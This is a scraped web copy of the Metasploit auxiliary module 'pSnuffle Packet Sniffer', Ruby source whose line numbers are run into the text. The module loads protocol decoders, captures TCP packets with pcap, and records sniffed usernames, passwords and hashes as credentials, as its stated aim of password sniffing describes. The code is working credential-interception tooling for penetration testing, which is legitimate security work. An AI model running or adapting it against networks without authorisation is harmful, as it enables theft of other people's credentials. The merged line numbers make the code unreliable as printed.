Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/sniffer/psnuffle.rb
Views: 11778
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# dsniff was helping me very often. Too bad that it doesn't work correctly7# anymore. Psnuffle should bring password sniffing into Metasploit local8# and if we get lucky even remote.9#10# Cheers - Max Moser - [email protected]11##1213class MetasploitModule < Msf::Auxiliary14include Msf::Auxiliary::Report15include Msf::Exploit::Capture1617def initialize18super(19'Name' => 'pSnuffle Packet Sniffer',20'Description' => 'This module sniffs passwords like dsniff did in the past',21'Author' => 'Max Moser <mmo[at]remote-exploit.org>',22'License' => MSF_LICENSE,23'Actions' =>24[25[ 'Sniffer', 'Description' => 'Run sniffer' ],26[ 'List', 'Description' => 'List protocols' ]27],28'PassiveActions' => [ 'Sniffer' ],29'DefaultAction' => 'Sniffer'30)31register_options [32OptString.new('PROTOCOLS', [true, 'A comma-delimited list of protocols to sniff or "all".', 'all']),33]3435register_advanced_options [36OptPath.new('ProtocolBase', [true, 'The base directory containing the protocol decoders',37File.join(Msf::Config.data_directory, 'exploits', 'psnuffle')38]),39]40deregister_options('RHOSTS')41end424344def load_protocols45base = datastore['ProtocolBase']46unless File.directory? base47raise RuntimeError, 'The ProtocolBase parameter is set to an invalid directory'48end4950allowed = datastore['PROTOCOLS'].split(',').map{|x| x.strip.downcase}51@protos = {}52decoders = Dir.new(base).entries.grep(/\.rb$/).sort53decoders.each do |n|54f = File.join(base, n)55m = ::Module.new56begin57m.module_eval(File.read(f, File.size(f)))58m.constants.grep(/^Sniffer(.*)/) do59proto = $160next unless allowed.include?(proto.downcase) || datastore['PROTOCOLS'] == 'all'6162klass = m.const_get("Sniffer#{proto}")63@protos[proto.downcase] = klass.new(framework, self)6465print_status("Loaded protocol #{proto} from #{f}...")66end67rescue => e68print_error("Decoder #{n} failed to load: #{e.class} #{e} #{e.backtrace}")69end70end71end7273def run74check_pcaprub_loaded # Check first75# Load all of our existing protocols76load_protocols7778if action.name == 'List'79print_status("Protocols: #{@protos.keys.sort.join(', ')}")80return81end8283print_status 'Sniffing traffic.....'84open_pcap8586each_packet do |pkt|87p = PacketFu::Packet.parse(pkt)88next unless p.is_tcp?89next if p.payload.empty?90@protos.each_key do |k|91@protos[k].parse(p)92end93true94end95close_pcap96print_status 'Finished sniffing'97end98end99100# End module class101102# Basic class for taking care of sessions103class BaseProtocolParser104105attr_accessor :framework, :module, :sessions, :dport, :sigs106107def initialize(framework, mod)108self.framework = framework109self.module = mod110self.sessions = {}111self.dport = 0112register_sigs113end114115def parse(pkt)116nil117end118119def register_sigs120self.sigs = {}121end122123#124# Glue methods to bridge parsers to the main module class125#126def print_status(msg)127self.module.print_status(msg)128end129130def print_error(msg)131self.module.print_error(msg)132end133134def report_cred(opts)135service_data = {136address: opts[:ip],137port: opts[:port],138service_name: opts[:service_name],139protocol: 'tcp',140workspace_id: self.module.myworkspace_id141}142143credential_data = {144origin_type: :service,145module_fullname: self.module.fullname,146username: opts[:user],147private_data: opts[:password],148private_type: opts[:type]149}.merge(service_data)150151if opts[:type] == :nonreplayable_hash152credential_data.merge!(jtr_format: opts[:jtr_format])153end154155login_data = {156core: self.module.create_credential(credential_data),157status: opts[:status],158proof: opts[:proof]159}.merge(service_data)160161unless opts[:status] == Metasploit::Model::Login::Status::UNTRIED162login_data.merge!(last_attempted_at: DateTime.now)163end164165self.module.create_credential_login(login_data)166end167168def report_note(*s)169self.module.report_note(*s)170end171172def report_service(*s)173self.module.report_service(*s)174end175176def find_session(sessionid)177purge_keys = []178sessions.each_key do |ses|179# Check for cleanup abilities... kills performance in large environments maybe180# When longer than 5 minutes no packet was related to the session, delete it181if ((sessions[ses][:mtime] - sessions[ses][:ctime]) > 300)182# too bad to this session has no action for a long time183purge_keys << ses184end185end186purge_keys.each {|ses| sessions.delete(ses) }187188# Does this session already exist?189if (sessions[sessionid])190# Refresh the timestamp191sessions[sessionid][:mtime] = Time.now192else193# Create a new session entry along with the host/port from the id194if (sessionid =~ /^([^:]+):([^-]+)-([^:]+):(\d+)$/s)195sessions[sessionid] = {196:client_host => $1,197:client_port => $2,198:host => $3,199:port => $4,200:session => sessionid,201:ctime => Time.now,202:mtime => Time.now203}204end205end206207sessions[sessionid]208end209210def get_session_src(pkt)211return "%s:%d-%s:%d" % [pkt.ip_daddr,pkt.tcp_dport,pkt.ip_saddr,pkt.tcp_sport] if pkt.is_tcp?212return "%s:%d-%s:%d" % [pkt.ip_daddr,pkt.udp_dport,pkt.ip_saddr,pkt.udp_sport] if pkt.is_udp?213return "%s:%d-%s:%d" % [pkt.ip_daddr,0,pkt.ip_saddr,0]214end215216def get_session_dst(pkt)217return "%s:%d-%s:%d" % [pkt.ip_saddr,pkt.tcp_sport,pkt.ip_daddr,pkt.tcp_dport] if pkt.is_tcp?218return "%s:%d-%s:%d" % [pkt.ip_saddr,pkt.udp_sport,pkt.ip_daddr,pkt.udp_dport] if pkt.is_udp?219return "%s:%d-%s:%d" % [pkt.ip_saddr,0,pkt.ip_daddr,0]220end221end222223224